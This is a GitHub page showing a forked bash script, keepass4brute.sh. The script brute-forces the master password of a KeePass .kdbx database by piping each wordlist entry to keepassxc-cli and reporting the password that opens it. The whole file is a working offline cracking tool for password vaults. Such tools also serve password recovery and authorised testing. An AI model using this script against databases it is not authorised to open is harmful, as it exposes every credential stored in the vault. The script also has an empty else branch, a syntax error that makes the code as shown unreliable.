forked from r3nt0n/keepass4brute
-
Notifications
You must be signed in to change notification settings - Fork 0
/
keepass4brute.sh
executable file
·40 lines (31 loc) · 1007 Bytes
/
keepass4brute.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/bin/bash
# https://github.com/r3nt0n/keepass4brute
# Name: keepass4brute.sh
# Author: r3nt0n
# Version: 1.0 (25/11/2022)
version="1.2"
/bin/echo -e "keepass4brute $version by r3nt0n"
/bin/echo -e "https://github.com/r3nt0n/keepass4brute\n"
if [ $# -ne 2 ]
then
/bin/echo "Usage $0 <kdbx-file> <wordlist>"
exit 2
fi
dep="keepassxc-cli"
command -v $dep >/dev/null 2>&1 || { /bin/echo >&2 "Error: $dep not installed. Aborting."; exit 1; }
n_total=$( wc -l < $2 )
n_tested=0
IFS=''
while read -r line; do
n_tested=$((n_tested + 1))
/bin/echo -ne "[+] Words tested: $n_tested/$n_total ($line) \r"
if { /bin/echo $line | keepassxc-cli open $1 | grep -q $1; } > /dev/null 2>&1; then
# /bin/echo "+ $line" >> ~/keepasscrack/run.log
/bin/echo -ne "\n"
/bin/echo "[*] Password found: $line"; exit 0;
else
# /bin/echo "- $line" >> ~/keepasscrack/run.log
fi
done < $2
/bin/echo -ne "\n"
/bin/echo "[!] Wordlist exhausted, any match found"; exit 3;